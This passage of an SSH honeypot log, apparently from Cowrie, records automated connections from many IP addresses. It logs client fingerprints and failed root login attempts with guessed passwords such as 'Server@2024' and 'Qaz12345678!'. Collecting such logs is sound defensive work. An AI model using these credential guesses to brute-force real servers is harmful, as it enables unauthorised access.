@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:13:16.472550Z","src_ip":"103.154.77.48","session":"290290c16568","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"a","password":"a","message":"login attempt [a/a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:13:17.449868Z","src_ip":"103.154.77.48","session":"290290c16568","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:13:18.691993Z","src_ip":"103.154.77.48","session":"290290c16568","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":47890,"dst_ip":"10.17.0.5","dst_port":22,"session":"8248228963ac","protocol":"ssh","message":"New connection: 194.59.206.2:47890 (10.17.0.5:22) [session: 8248228963ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:13:25.943908Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:13:25.949521Z","src_ip":"194.59.206.2","session":"8248228963ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:13:26.041070Z","src_ip":"194.59.206.2","session":"8248228963ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:13:26.140279Z","src_ip":"194.59.206.2","session":"8248228963ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.12.80.170","src_port":41012,"dst_ip":"10.17.0.5","dst_port":22,"session":"46ed5a596908","protocol":"ssh","message":"New connection: 198.12.80.170:41012 (10.17.0.5:22) [session: 46ed5a596908]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:13:34.895912Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:13:34.903522Z","src_ip":"198.12.80.170","session":"46ed5a596908","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:13:34.930338Z","src_ip":"198.12.80.170","session":"46ed5a596908","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"softbiz4","message":"login attempt [root/softbiz4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:13:35.047495Z","src_ip":"198.12.80.170","session":"46ed5a596908","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:13:36.079072Z","src_ip":"198.12.80.170","session":"46ed5a596908","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.104.154.26","src_port":55800,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd59a3241b52","protocol":"ssh","message":"New connection: 112.104.154.26:55800 (10.17.0.5:22) [session: fd59a3241b52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:13:41.774050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:13:41.779179Z","src_ip":"112.104.154.26","session":"fd59a3241b52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:13:41.968323Z","src_ip":"112.104.154.26","session":"fd59a3241b52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qaz12345678!","message":"login attempt [root/Qaz12345678!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:13:42.762184Z","src_ip":"112.104.154.26","session":"fd59a3241b52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:13:43.955748Z","src_ip":"112.104.154.26","session":"fd59a3241b52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.160.86.7","src_port":34942,"dst_ip":"10.17.0.5","dst_port":22,"session":"e9c2340512a7","protocol":"ssh","message":"New connection: 20.160.86.7:34942 (10.17.0.5:22) [session: e9c2340512a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:13:46.544576Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:13:46.551317Z","src_ip":"20.160.86.7","session":"e9c2340512a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:13:46.632787Z","src_ip":"20.160.86.7","session":"e9c2340512a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Yc123456","message":"login attempt [root/Yc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:13:46.990327Z","src_ip":"20.160.86.7","session":"e9c2340512a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:13:48.075834Z","src_ip":"20.160.86.7","session":"e9c2340512a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.53.94.246","src_port":43438,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d19efe95602","protocol":"ssh","message":"New connection: 202.53.94.246:43438 (159.203.135.109:22) [session: 7d19efe95602]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:13:51.012554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:13:51.017292Z","src_ip":"202.53.94.246","session":"7d19efe95602","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:13:51.236332Z","src_ip":"202.53.94.246","session":"7d19efe95602","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server@2024","message":"login attempt [root/Server@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:13:52.141544Z","src_ip":"202.53.94.246","session":"7d19efe95602","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:13:53.363522Z","src_ip":"202.53.94.246","session":"7d19efe95602","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.210.148.92","src_port":49132,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d243f073998","protocol":"ssh","message":"New connection: 102.210.148.92:49132 (159.203.135.109:22) [session: 2d243f073998]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:13:54.778345Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:13:54.784019Z","src_ip":"102.210.148.92","session":"2d243f073998","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:13:55.028997Z","src_ip":"102.210.148.92","session":"2d243f073998","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123!@#qwe","message":"login attempt [root/123!@#qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:13:56.036000Z","src_ip":"102.210.148.92","session":"2d243f073998","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:13:57.283242Z","src_ip":"102.210.148.92","session":"2d243f073998","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.148.224.183","src_port":46756,"dst_ip":"159.203.135.109","dst_port":22,"session":"a0eac4a1f156","protocol":"ssh","message":"New connection: 186.148.224.183:46756 (159.203.135.109:22) [session: a0eac4a1f156]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:13:57.740178Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:13:57.744219Z","src_ip":"186.148.224.183","session":"a0eac4a1f156","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:13:57.887977Z","src_ip":"186.148.224.183","session":"a0eac4a1f156","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWERasdf1234","message":"login attempt [root/QWERasdf1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:13:58.497919Z","src_ip":"186.148.224.183","session":"a0eac4a1f156","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:13:59.647310Z","src_ip":"186.148.224.183","session":"a0eac4a1f156","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.223.60.209","src_port":36264,"dst_ip":"10.17.0.5","dst_port":22,"session":"20a34c168d8f","protocol":"ssh","message":"New connection: 190.223.60.209:36264 (10.17.0.5:22) [session: 20a34c168d8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:14:02.731553Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:14:02.745792Z","src_ip":"190.223.60.209","session":"20a34c168d8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:14:02.872787Z","src_ip":"190.223.60.209","session":"20a34c168d8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Reza1234","message":"login attempt [root/Reza1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:14:03.407992Z","src_ip":"190.223.60.209","session":"20a34c168d8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:14:04.537797Z","src_ip":"190.223.60.209","session":"20a34c168d8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.144.233.56","src_port":58014,"dst_ip":"10.17.0.5","dst_port":22,"session":"584846362b80","protocol":"ssh","message":"New connection: 45.144.233.56:58014 (10.17.0.5:22) [session: 584846362b80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:14:17.550576Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:14:17.555335Z","src_ip":"45.144.233.56","session":"584846362b80","protocol":"ssh"}
